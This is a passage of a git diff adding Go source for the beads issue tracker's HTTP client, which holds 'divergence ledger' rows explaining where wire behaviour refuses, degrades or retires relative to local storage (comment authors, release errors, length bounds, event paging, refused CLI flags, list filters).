the trim and the character rule in as many words, and the reason is the column — `author` is 255 characters wide and every renderer of the thread prints it, where an unfiltered C1 introducer is an escape-sequence payload. The refusal half is a NARROWING the wire makes on purpose. " + + "THE CLIENT DOES NOT ANTICIPATE EITHER HALF, and that is the decision this row records. Trimming here would make the client agree with the server about the stored value and disagree with the role's own contract — and it would silently rewrite a caller's request, which is the one thing this seam never does. Refusing the control rune here would be a second copy of a server rule that is free to move. So the value travels as the caller wrote it and the server's answer is reported unchanged, which keeps the divergence visible instead of laundering it. " + + "IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS: a well-formed author is stored, and the difference cannot be misread as a wider or narrower answer — a comment lands on the thread the caller named either way. The refusal half is the SERVER's, not this client's refuse-not-drop, which is what KindRefuse classifies. " + + "What a caller loses is an author whose surrounding space survives, and the recovery is the one the role's own contract already implies: compose the author from a value you would be willing to see printed. Upstream ask: either the role trimming its own author on every leg, or the operation storing it verbatim — the rows agree the day the two rules become one", + SpecRow: "D8 row 19", + PinnedBy: pinnedByS3Conformance, + }, + { + // The RELEASE population, from client wave ga-f352s, and it has + // exactly one row. releaseIssue's request maps member for member — + // actor, the guard, force and the path — so nothing refuses on + // shape; what diverges is one REFUSAL VOCABULARY, which is the same + // shape as the two create parks and retires the same way. + ID: "L-release-notclaimed", Kind: KindDegrade, + What: "a release of a row that holds NO CLAIM answers issueops.ErrNotReleasable rather than issueops.ErrNotClaimed; a status that will not accept a release answers ErrNotReleasable as it does everywhere", + Why: "the role splits the two — ErrNotClaimed for a row nobody holds, ErrNotReleasable for a status the transition is not defined over — and the wire spells BOTH `not_releasable` under one code, with no member telling them apart. That is the server's deliberate choice (internal/httpapi's CodeNotReleasable) rather than an omission, and its detail names both conditions instead of guessing between them. " + + "So this client maps to the WIDER of the two, which is the only honest read: reconstructing ErrNotClaimed would assert a fact about the row that the wire never sent, and scraping the detail for it would bind a sentinel to prose. " + + "NOTHING ELSE ABOUT THE REFUSAL MOVES — nothing is written, the row and its version are untouched, and the conditional path is unaffected: a caller that named a holder gets ErrAssigneeMismatch on both sides, because that refusal has a code of its own. " + + "The caller who loses something is the one that told 'I already released this' from 'the row was never claimed', and the recovery is the one the server's own detail prescribes: READ THE ROW rather than retrying blind. Upstream ask: a code, or a member, that distinguishes the unheld row from the unreleasable status — which retires this row", + SpecRow: "D8 (Releaser), D9", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-release-notowner", Kind: KindDegrade, + What: "an unforced, unconditional release by an actor that is NOT the holder answers issueops.ErrAlreadyClaimed — carrying *issueops.ClaimConflictError — rather than issueops.ErrNotOwner", + Why: "the wire answers the ownership fence with `already_claimed`, which is the code updateIssue already gives the same situation (a live foreign owner refusing a write, with a force bypass and a name-the-holder bypass), and this client maps that code to the sentinel every other operation means by it. The two sentinels are distinct values in issueops and neither wraps the other, so the arm a caller writes differs. " + + "REPORTING IT AS ErrNotOwner WOULD BE THE WORSE TRADE, not merely a different one: the code is shared with the claim refusals, so a client that special-cased it for this operation would be reading the OPERATION to decide the sentinel rather than the code — and would then answer ErrNotOwner for a genuine already_claimed the day the server reuses the code here for anything else. " + + "WHAT SURVIVES IS EVERYTHING A CALLER ACTS ON: the refusal is typed, it names the row (the request supplied the id the wire leaves out), nothing is written, and BOTH bypasses answer exactly as the role says — force releases the foreign claim, and naming the holder in expected_assignee releases it too, because a match replaces the fence. The wire deliberately sends no `assignee` member here, so the holder is not named: absence means 're-read the row', never 'nobody holds it'. Upstream ask: a code, or a member, that separates the release's fence from a claim conflict — which retires this row", + SpecRow: "D8 (Releaser), D9", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "W-IssuePatch.Labels", Kind: KindRetired, + Type: tyIssuePatch, Field: "Labels", + What: "RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes", + Why: "upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. " + + "The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. " + + "WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write", + SpecRow: "D8 refuse-not-drop, open questions (tracked-refusal roadmap)", + PinnedBy: pinnedByS3Conformance, + }, + { + // The CONFIG-WRITE population, from client wave ga-jpywb, and it has + // exactly one row. Both verbs map member for member — a key in the + // path, a value in the body, nothing else — so nothing refuses on + // shape; what diverges is a pair of EDGE BOUNDS the wire applies + // and no local leg does. + ID: "L-config-bounds", Kind: KindDegrade, + What: "a setting VALUE past types.MaxTextBytes bytes, and a setting KEY past types.MaxFieldLen characters on the WRITE, are refused with issueops.ErrValidation naming the member; on a local leg the same request reaches the column and fails with the engine's own `too large for column` error, which is no sentinel at all", + Why: "the bound belongs to the OPERATION rather than to the role: internal/httpapi's settingWriteKey and settingValue check both before the role is called, because a request the caller could have fixed should be a 400 naming the member rather than the 500 a column overflow would otherwise produce. workapi.ValidateSettingWrite — the rule every leg shares — applies no length bound at all, so below the wire the column is the only check there is. " + + "MEASURED, not inferred: a 65536-byte value answers `400 invalid_argument: \\`value\\` is 65536 bytes; storage holds at most 65535` over http and `Error 1105: string ... is too large for column 'value'` on the embedded leg, and a 306-character key splits the same way. Exactly 65535 bytes is accepted on both. " + + "THIS CLIENT RESTATES NEITHER BOUND, and that is the decision this row records. They are the SERVER's policy on a value whose shape the role accepted, one release away from moving, so a second copy here would either drift or refuse a request a newer server would take — the same argument L-comment-author makes about the author rule, and the same posture. What travels back is the operation's own 400, which the problem mapper turns into ErrValidation. " + + "IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS and because the divergence runs in the CALLER'S FAVOR: over http an oversized write is a typed, member-named refusal that wrote nothing, where a local leg hands back a driver error no caller can classify. What a caller loses is nothing; what a caller must not assume is that a value a local workspace stored will store here. " + + "THE TWO BOUNDS ARE NOT SYMMETRIC ACROSS THE VERBS, and the asymmetry is the operation's: DELETE checks only that the key names something, so removing a 306-character key succeeds over http exactly as it does locally. Upstream ask: the length rules moving onto the shared validator, which retires this row by making the two legs one", + SpecRow: "D8 row 11, D9", + PinnedBy: pinnedByS3Conformance, + }, + { + // The UPDATE-BOUNDS row, and L-config-bounds' sibling one operation + // over. It is not the same row because the two are not the same + // situation: there the role applies no length rule at all and the + // column is the only check below the wire, HERE THE ROLE APPLIES THE + // SAME RULE with the same constant — so what is lost is a sentinel + // rather than a bound. + ID: "L-update-fieldlen", Kind: KindDegrade, + What: "an updateIssue patch member past types.MaxFieldLen characters — a label on any of the three label members, `title`, `external_ref` — is refused with issueops.ErrValidation naming the member; on a local leg the same request answers types.ErrFieldTooLong", + Why: "the bound is applied TWICE and identically: internal/httpapi/update.go checks types.CheckFieldLen at the edge before the role is called, and internal/storage/issueops applies the same function below it. So this is a classification divergence and not a policy one — a value one leg stores the other stores, and a value one leg refuses the other refuses. " + + "WHAT COARSENS IT is the spelling: the operation refuses with `invalid_argument` and reason `invalid_value` (internal/httpapi's refuse on the patch member), which is the SAME pair a malformed status, an unparseable timestamp or any other bad value on the same member earns. Nothing on the wire tells them apart, so reconstructing ErrFieldTooLong from the pair would misclassify every other refusal of that member — the argument L-create-prefix makes about the id, on the patch. " + + "MEASURED, not inferred: a 256-character label answers `400 invalid_argument: \\`add_labels[0]\\` is 256 characters; storage holds at most 255` over http and ErrFieldTooLong through the reference store's own Lifecycle role, and exactly 255 characters is accepted on both. " + + "THIS CLIENT RESTATES THE BOUND NOWHERE, and the reason differs from L-config-bounds': not that the rule is the server's to move, but that a second copy of a rule two layers already apply is a third place for it to drift. What travels back is the operation's own 400. " + + "IT IS A DEGRADE RATHER THAN A REFUSE because the path PROCEEDS and the outcome is identical on both legs — the request fails, the row is untouched, and no truncated value is stored — while the detail names the offending member and its length, which is the recovery a caller needs. What is lost is the errors.Is arm a caller writes to tell 'too long' from 'malformed'. Upstream ask: a `too_long` reason, or a code of its own, which retires this row", + SpecRow: "D8 row 16, D9", + PinnedBy: pinnedByS3Conformance, + }, + { + // The EVENTS-JOURNAL population, from client wave ga-jpywb, and it + // has exactly one row. The read maps member for member — a + // checkpoint, a bound, a page of records and a head — and the typed + // truncation crosses whole through the problem document's three + // window members. What diverges is the one promise a PAGED transport + // cannot make about an UNPAGED read. + ID: "L-events-paging", Kind: KindDegrade, + What: "an UNCAPPED journal read (limit 0) is served as a loop of handler-sized requests rather than one, so its rows and its head no longer come from a single instant; a bounded read is one request and is unaffected", + Why: "the role imposes no ceiling of its own — journalops.Journal says a limit of 0 means uncapped, because the caller that pages a hundred thousand records out to a file is as legitimate as the one polling for ten — and the OPERATION refuses `limit=0` by value, capping a page at 10000 (internal/httpapi's maxEventsLimit). That cap is the handler's promise to its clients rather than a narrowing of the role, and this client is on the other side of it. " + + "SO THE LOOP IS THE ONLY HONEST READING. Refusing an uncapped read would refuse something the role permits; capping one silently at 10000 would answer a partial page beside a head saying there is more, which is a consumer stalling on a gap nobody told it about. Both are worse than N transactions. " + + "WHAT SURVIVES IS WHAT A CONSUMER ACTS ON: rows stay contiguous and seq-ascending, because each page continues exactly where the last ended; the head is the LAST page's, so it is the freshest and can only be at or ahead of the last row served; and a truncation on any page is the whole read's failure, never a shorter answer — a loop that returned the prefix it had already gathered would answer a gap with a plausible-looking suffix, which is the one failure a replay feed must never ship. " + + "WHAT DOES NOT SURVIVE is atomicity across the whole answer: a mutation committing mid-loop appears in a later page of the SAME call rather than in the next one. A consumer cannot observe that as a gap or a duplicate — it reads as records it would have received on its next poll, arriving early — which is why this is a degrade rather than a refusal. " + + "IT IS A DEGRADE RATHER THAN A REFUSE for the ordinary reason too: the path proceeds, and the answer cannot be misread as narrower or wider than the caller asked for. Upstream ask: an unlimited spelling on the operation, or a cursor the page can hand back — either retires this row", + SpecRow: "D8 (Journal), D9", + PinnedBy: pinnedByS3Conformance, + }, + } +} + +// batchCreatePin is the one sweep behind every batch-create refusal row: it +// drives each excluded member one at a time and asserts the call fails WITHOUT +// dialing, and it holds the carried/ignored partition against types.Issue by +// reflection so the population cannot go stale by omission. +const batchCreatePin = pinnedByS3Conformance + +// createPin is the single-create counterpart: the same shape of sweep, driving +// every excluded member of a CreateRequest one at a time and asserting the call +// fails WITHOUT dialing, with the carried/ignored partition held against +// types.Issue by reflection. +const createPin = pinnedByS3Conformance + +func createDependencyRow(field, what, why string) Row { + return Row{ + ID: "W-CreateDependency." + field, Kind: KindRefuse, + Type: tyCreateDep, Field: field, + What: what, + Why: why + " (internal/httpapi/spec BatchCreateDependency)", + SpecRow: "D8 row 14 refuse-not-drop", + PinnedBy: batchCreatePin, + } +} + +// applyPin is the sweep behind every batch-apply refusal row: it drives each +// excluded member one at a time and asserts the call fails WITHOUT dialing, +// with the create item's carried/ignored partition held against types.Issue by +// the same reflection the two other create paths use. +const applyPin = pinnedByS3Conformance + +// patchMemberPin is the round trip behind the four patch members client wave +// ga-7i6by carries: it drives each one into the document the role builds and +// reads it back off the transport, which is the one thing about this operation +// no result can show. +const patchMemberPin = pinnedByS3Conformance + +func patchRow(field, what, why string) Row { + return Row{ + ID: "W-IssuePatch." + field, Kind: KindRefuse, + Type: tyIssuePatch, Field: field, + What: what, + Why: why + " (internal/httpapi/update.go issuePatchMembers)", + SpecRow: "D8 refuse-not-drop", + PinnedBy: pinnedByS3Conformance, + } +} + +// commandRows are D7's named members of the refused class that carry no request +// field: whole commands and the flag modes of served commands. +func commandRows() []Row { + // The cmd/bd wiring landed. Two pins, split the way the mechanism is: a + // whole command is early-refused from the classification table and every + // entry in it is driven against the REAL cobra tree, while a served + // command's refused flag mode is a per-flag invocation. + const refusedCommand = pinnedByS3Conformance + const refusedFlagMode = pinnedByS3Conformance + // Every row this helper builds cites D7 and nothing else: D7 IS the + // whole-command-and-flag-mode decision, and a row citing a second decision + // is a row that wants writing out in full (F-count and F-close both do). + row := func(id, command, flag, what, why string) Row { + pinned := refusedCommand + if flag != "" { + pinned = refusedFlagMode + } + return Row{ID: id, Kind: KindRefuse, Command: command, Flag: flag, What: what, Why: why, SpecRow: "D7", PinnedBy: pinned} + } + return []Row{ + row("F-ready-explain", "ready", "--explain", "`bd ready --explain` refuses", + "it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist"), + row("F-ready-mol", "ready", "--mol", "`bd ready --mol` refuses", + "its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker when ga-b8ddd.30 flipped them onto the wire"), + row("F-ready-gated", "ready", "--gated", "`bd ready --gated` refuses", + "it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents"), + row("F-show-thread", "show", "--thread", "`bd show --thread` refuses", + "showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but ga-b8ddd.30 flipped that read onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask"), + row("F-show-refs", "show", "--refs", "`bd show --refs` refuses", + "showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently"), + row("F-show-children", "show", "--children", "`bd show --children` refuses", + "showIssueChildren's --json marshals the full GetDependentsWithMetadata rows, the same collectDependents shallow projection as --refs, so created_at/assignee/description come back zeroed over http; `bd children` refuses as a whole command for the same reason"), + row("F-mol-ready", "mol ready", "", "`bd mol ready` refuses", + "it is the same runMolReadyGatedCore body as `bd ready --gated`"), + row("F-blocked", "blocked", "", "`bd blocked` refuses", + "it is raw GetBlockedIssues, which is on the unsupported allowlist"), + { + ID: "F-count", Kind: KindRetired, Command: "count", + What: "RETIRED — `bd count` is SERVED whole", + Why: "it said the command refuses because \"issueops.Counter has no wire operation; a counts operation is a filed upstream ask\", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. " + + "Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. " + + "HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible", + SpecRow: "D7 (RETIRED), D8 row 20", + // The retirement's own evidence: the corpus replay compares `bd + // count`'s answer byte-for-byte over http against the same command + // over a local Dolt workspace, and a count's whole answer is a + // number — a predicate narrowed or widened on the way out prints a + // different integer and nothing else differs. + PinnedBy: pinnedByS3Conformance, + }, + row("F-serve", "serve", "", "`bd serve` refuses against an http workspace", + "the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is"), + { + ID: "F-close", Kind: KindRefuse, Command: "close", Capability: "issues.batchClose", + What: "`bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose", + Why: "the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. " + + "Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap", + SpecRow: "D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap", + // The command is served; the down-level refusal is the capability gate's, + // exercised against a server without issues.batchClose. + PinnedBy: refusedFlagMode, + }, + { + ID: "F-partial-id", Kind: KindRefuse, + What: "partial-id resolution refuses with its own taxonomy text", + Why: "SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error", + SpecRow: "D11", + PinnedBy: pinnedByS3Conformance, + }, + } +} diff --git a/internal/httpclient/encode/ledger_fields.go b/internal/httpclient/encode/ledger_fields.go new file mode 100644 index 000000000..30aae447b --- /dev/null +++ b/internal/httpclient/encode/ledger_fields.go @@ -0,0 +1,456 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/ledger_fields.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import "reflect" + +// The per-field half of divergence ledger v1: one row for every request-shape +// field this package's encoder cannot put on the v0 wire, plus the two it +// deliberately drops. +// +// These are instances of L12 — "an inexpressible filter refuses, never drops" — +// enumerated one field at a time, because a class rule that is not enumerated +// is a rule nothing can check. The bijection gate reads them back against +// reflection over the same structs, so a field added upstream lands here or +// fails CI. + +const ( + fieldSpec = "D9 L12, D7, D8" + // fieldPin and dropPin are the same test because it is the same property: + // the sweep populates one field at a time and asserts the behavior the + // table declares, so a refusal that stopped refusing and a drop that + // started sending both fail there. + fieldPin = "TestEncoderHonorsEveryTableDisposition" + dropPin = "TestEncoderHonorsEveryTableDisposition" + dropSpec = "D9 (a degradation not in this table is a bug)" + noWireList = "listIssues publishes no such parameter (internal/httpapi/reads.go handleListIssues; internal/httpapi/spec/openapi.v0.yaml)" +) + +// briefRetiredWhy is the one retirement story behind the three rows #5586's +// `brief` parameter retired — the ready listing's, the issue listing's, and the +// ready bridge's Lite, which workapi assigns to the same field. +// +// IT IS A CONSTANT BECAUSE IT WAS THREE COPIES, and the three drifted the way +// copies do: the closing sentence stayed true of the WIRE and false of the +// CALLER for a whole wave, in triplicate, and correcting it meant finding all +// three. One string is one thing to keep true. +const briefRetiredWhy = "upstream #5586 published `brief` on GET /v0/beads/ready and GET /v0/beads/issues, which is the retirement path this row named. " + + "Both page encoders send the parameter now — readyTable, listTable and the ready bridge all map it — so the client asks for the projection it was handed and the server leaves the text columns unselected. " + + "The COUNT keeps the drop under E-ReadyRequest.Brief@countReadyWork, because countReadyWork publishes no such parameter and a cardinality has no rows to project. " + + "WHAT DID NOT RETIRE WITH IT IS THE WIRE HALF OF THE MARKER, and only that half: types.Issue.IsLitePartial is `json:\"-\"` and never crosses, so a projected page arrives on the transport byte-identical to a page of genuinely textless rows — the same absence getIssue's brief_deps carries, deferred upstream by #5549. " + + "THE CALLER-VISIBLE AMBIGUITY IS CLOSED, by client wave ga-f352s: `brief` is a parameter to the page decode rather than a field on anything, so httpReader hands it to wireRows (role_reader.go) and this client stamps IsLitePartial on every row of a page it ASKED to be projected — which is precisely what issueops.ListRequest.Brief's own leaf says a wire consumer distinguishes the two by — and never on a hydrated one. `bd list --long --brief` therefore prints \"Description: (omitted by --brief)\" over http exactly as it does locally, and TestHTTPCommentAndBriefRenderEndToEnd pins that line through the real binary" + +func refusal(id string, ty reflect.Type, field, what, why, spec string) Row { + return Row{ + ID: id, Kind: KindRefuse, + Type: ty, Field: field, + What: what, Why: why, SpecRow: spec, PinnedBy: fieldPin, + } +} + +// readyRequestRows are the ready vocabulary's two inexpressible members. +// +// [Removed: a third row, "E-ReadyRequest.ExcludeIDs", stood here for an +// enterprise-only id-exclusion filter. issueops.ReadyRequest carries no +// ExcludeIDs member in OSS (issueops/reader.go), so the row named a struct +// field that does not exist and TestEncoderTableClassifiesEveryRequestField +// failed "names a field that does not exist" against it. The matching table.go +// entry in readyFilterEntries() was removed alongside this row. The separate, +// still-real "E-WorkFilter.ExcludeIDs" row below (workFilterBridgeRows) is +// unaffected: workapi.WorkFilter genuinely carries that field.] +func readyRequestRows() []Row { + return []Row{ + refusal("E-ReadyRequest.MolType", tyReadyRequest, "MolType", + "a molecule-type restriction on ready work refuses", + "neither listReadyWork nor countReadyWork publishes a mol-type parameter, and the ready query applies molecule typing inside — so a dropped restriction would answer with the wider set of every molecule type", + fieldSpec), + refusal("E-ReadyRequest.Offset", tyReadyRequest, "Offset", + "a non-zero Offset on ready work refuses", + "the wire publishes no offset parameter, and the store-backed role refuses a non-zero Offset itself with a typed *ErrUnsupported. A ready request carries no keyset position, so there is no portable way to page ready work at all — a caller that must page pages a ListRequest instead", + fieldSpec+", D12"), + { + ID: "E-ReadyRequest.Brief", Kind: KindRetired, + What: "RETIRED — the ready listing SENDS the projection; only the count still drops it", + Why: briefRetiredWhy, + SpecRow: dropSpec, + PinnedBy: dropPin, + }, + { + // The count's half of the retired row above, and it is a separate + // row rather than a narrowing of that one because the two answer + // different operations: countReadyWork publishes no `brief` at all, + // so its drop survives the parameter that retired the listing's. + ID: "E-ReadyRequest.Brief@countReadyWork", Kind: KindDegrade, + Type: tyReadyRequest, Field: "Brief", + What: "the free-form-text projection is DROPPED on the COUNT, not refused: a cardinality has no rows to project", + Why: briefCountDropWhy, + SpecRow: dropSpec, + PinnedBy: dropPin, + }, + { + ID: "E-ReadyRequest.Limit@countReadyWork", Kind: KindRefuse, + Type: tyReadyRequest, Field: "Limit", + What: "a Limit on a ready COUNT refuses", + Why: "countReadyWork publishes no limit parameter and ReadyCounter.CountReady refuses one itself: a cardinality has no page, and CountReady's identity with the listing it sizes stops being true the moment one is accepted. " + + "An explicit zero is refused with the rest — an unlimited count is the only kind there is", + SpecRow: fieldSpec + ", D8 row 2", + PinnedBy: fieldPin, + }, + } +} + +// listRequestRows are the listing vocabulary's inexpressible members. It is the +// longest population in the ledger, and deliberately so: `bd list` publishes +// far more filters than the v0 listing does, and every one of them is a set +// this client would widen if it dropped it. +func listRequestRows() []Row { + listRefusal := func(field, what, why string) Row { + return refusal("E-ListRequest."+field, tyListRequest, field, what, why, fieldSpec) + } + rows := []Row{ + listRefusal("TitleSearch", "a title search refuses", noWireList), + listRefusal("SpecPrefix", "a spec-id prefix restriction refuses", noWireList), + listRefusal("IDFilter", "an explicit id set on the LISTING refuses", + noWireList+"; the exact-ids question is getIssue's, reached through the SearchIssues bridge's exact-ids shape (D11), not through a listing filter"), + listRefusal("LabelPattern", "a glob label filter refuses", + noWireList+" — listReadyWork does publish label_pattern, which is exactly why the absence here has to refuse rather than fall through"), + listRefusal("LabelRegex", "a regex label filter refuses", + noWireList+" — as for LabelPattern, listReadyWork publishes label_regex and the listing does not"), + listRefusal("TitleContains", "a title substring filter refuses", noWireList), + listRefusal("DescContains", "a description substring filter refuses", noWireList), + listRefusal("NotesContains", "a notes substring filter refuses", noWireList), + listRefusal("ExternalContains", "an external-ref substring filter refuses", noWireList), + listRefusal("ExternalRef", "an exact external-ref filter refuses", noWireList), + listRefusal("UpdatedAfter", "an updated-after bound refuses", noWireList+" — only the created bounds are published"), + listRefusal("UpdatedBefore", "an updated-before bound refuses", noWireList+" — only the created bounds are published"), + listRefusal("ClosedAfter", "a closed-after bound refuses", noWireList), + listRefusal("ClosedBefore", "a closed-before bound refuses", noWireList), + listRefusal("DeferAfter", "a defer-after bound refuses", noWireList), + listRefusal("DeferBefore", "a defer-before bound refuses", noWireList), + listRefusal("DueAfter", "a due-after bound refuses", noWireList), + listRefusal("DueBefore", "a due-before bound refuses", noWireList), + listRefusal("EmptyDesc", "the empty-description predicate refuses", noWireList), + listRefusal("NoAssignee", "the unassigned predicate refuses", + noWireList+" — listReadyWork publishes `unassigned`; the listing does not"), + listRefusal("NoLabels", "the no-labels predicate refuses", noWireList), + listRefusal("Priority", "an exact priority filter refuses", + noWireList+" — listReadyWork publishes `priority`; the listing does not"), + listRefusal("PriorityMin", "a minimum-priority bound refuses", noWireList), + listRefusal("PriorityMax", "a maximum-priority bound refuses", noWireList), + listRefusal("PinnedFlag", "selecting the pinned-FLAG rows refuses", + noWireList+". The pinned STATUS is reachable through `status`; the flag is a separate predicate at any status and has no parameter"), + listRefusal("NoPinnedFlag", "holding the unflagged predicate in place refuses", + noWireList+". It changes nothing on a default listing and NARROWS under `all` or a pinned/hooked status — which is precisely when dropping it would widen the answer"), + listRefusal("ExcludeTypes", "a type exclusion refuses", + noWireList+" — listReadyWork publishes exclude_type; the listing publishes only the four include_* toggles"), + listRefusal("NoParent", "the top-level-only predicate refuses", noWireList), + listRefusal("MolType", "a molecule-type restriction refuses", noWireList), + listRefusal("WispType", "a wisp-type restriction refuses", + noWireList+". The listing now ADMITS the wisp plane — include_ephemeral landed upstream and the encoder sends it (L1 retired) — so this refusal is no longer redundant with an invisible plane: it is the only thing standing between a caller and a listing that returns every wisp type when they named one"), + listRefusal("DeferredFlag", "the deferred predicate refuses", noWireList), + listRefusal("OverdueFlag", "the overdue predicate refuses", noWireList), + listRefusal("ReadyFlag", "switching a listing onto the ready set refuses", + "ReadyFlag is not a filter but a change of QUESTION: it selects the blocker-aware ready query, which reads a narrower filter vocabulary than a ListRequest can describe. Over the wire that question is listReadyWork, a different operation with a different parameter table. "+ + "Routing it there would have to decide, silently, which of this request's fields survive the crossing — so v1 refuses and the retirement path is an explicit route in the store, not a re-encode here"), + listRefusal("IncludeComments", "hydrating every row's comment bodies refuses", + noWireList+". listIssues documents `comments` as always absent on its rows; a caller that needs an issue's comments reads getIssue with include_comments, one issue at a time"), + listRefusal("Offset", "a non-zero Offset refuses", + noWireList+". The portable page is the keyset position, which the pager walks (D8 row 1); the store-backed role refuses a non-zero Offset itself"), + } + return append(rows, + Row{ + ID: "E-ListRequest.SkipLabels", Kind: KindDegrade, + Type: tyListRequest, Field: "SkipLabels", + What: "the label-hydration opt-out is DROPPED, not refused: the wire hydrates labels either way", + Why: "the listing publishes no hydration parameter, so the client cannot ask the server to skip the labels JOIN. Dropping it hands the caller MORE data than it asked for and never fewer — the row set, its order, Parent and the has-more verdict are exactly what they would have been — so it cannot be misread as a narrower or wider answer. " + + "It is a degradation rather than a refusal because refusing would make `bd list --skip-labels` a hard error for a performance flag whose only observable effect over http is that the server pays for a join. The retirement path is a hydration parameter on the wire", + SpecRow: dropSpec, + PinnedBy: dropPin, + }, + Row{ + ID: "E-ListRequest.Brief", Kind: KindRetired, + What: "RETIRED — `bd list` over http sends the projection", + Why: briefRetiredWhy, + SpecRow: dropSpec, + PinnedBy: dropPin, + }, + Row{ + ID: "E-ListRequest.IncludeAllTypes", Kind: KindRefuse, + Type: tyListRequest, Field: "IncludeAllTypes", + What: "the never-hide-a-bead intent refuses", + Why: "it is the UNION of four intents the wire does publish — include_templates, include_gates, include_infra, include_ephemeral — and encoding it as those four would be a client-side restatement of a union whose whole point is that a FIFTH suppression added to workapi is lifted by it automatically. " + + "The day that fifth lands, the restatement silently stops lifting it and the listing hides beads from a caller whose contract is that it hides none. Dropping it narrows the answer for the same reason, so it refuses until the wire publishes the intent itself", + SpecRow: fieldSpec, + PinnedBy: fieldPin, + }, + Row{ + ID: "E-ListRequest.SkipCounts", Kind: KindDegrade, + Type: tyListRequest, Field: "SkipCounts", + What: "the cardinality-hydration opt-out is DROPPED, not refused: the wire hydrates the three counts either way", + Why: "the same reasoning as SkipLabels, and here refusing would be actively wrong: EVERY text rendering of `bd list` sets SkipCounts (cmd/bd/list.go:284, and its proxied twin), so a refusal would kill the default listing over http. " + + "Dropping it means real counts arrive where zeros were expected, and a caller that must read a zero as UNKNOWN is safe reading a true count. The cost is the three aggregate joins — including the reverse-blocker one the embedded planner cannot index — paid on a page that prints none of them", + SpecRow: dropSpec, + PinnedBy: dropPin, + }, + ) +} + +// queryRequestRows: the boolean-query surface publishes almost its whole +// vocabulary, so there is one member left over. +func queryRequestRows() []Row { + return []Row{ + refusal("E-QueryRequest.Offset", tyQueryRequest, "Offset", + "a non-zero Offset on a boolean query refuses", + "queryIssues publishes no offset parameter — the document deliberately omits one, because the two database sources this server can be built on disagree about whether they can honor it — and the store-backed role refuses one uniformly", + fieldSpec), + } +} + +// bridgeWhy is the SearchIssues bridge's whole rule, written once. Every field +// row below is an instance of it. +const bridgeWhy = "the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. " + + "Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses" + +// issueFilterRows classify every member of types.IssueFilter against the +// SearchIssues bridge. +// +// The three fields the bridge DOES read — IDs, ParentID and Limit — still get +// rows, because each is refused in the shape it does not belong to: an IDs set +// alongside a ParentID is neither shape, and a ParentID or a Limit alongside an +// exact-ids lookup is a filter getIssue cannot apply. +func issueFilterRows() []Row { + bridgeRefusal := func(field string) Row { + return refusal("E-IssueFilter."+field, tyIssueFilter, field, + "a populated 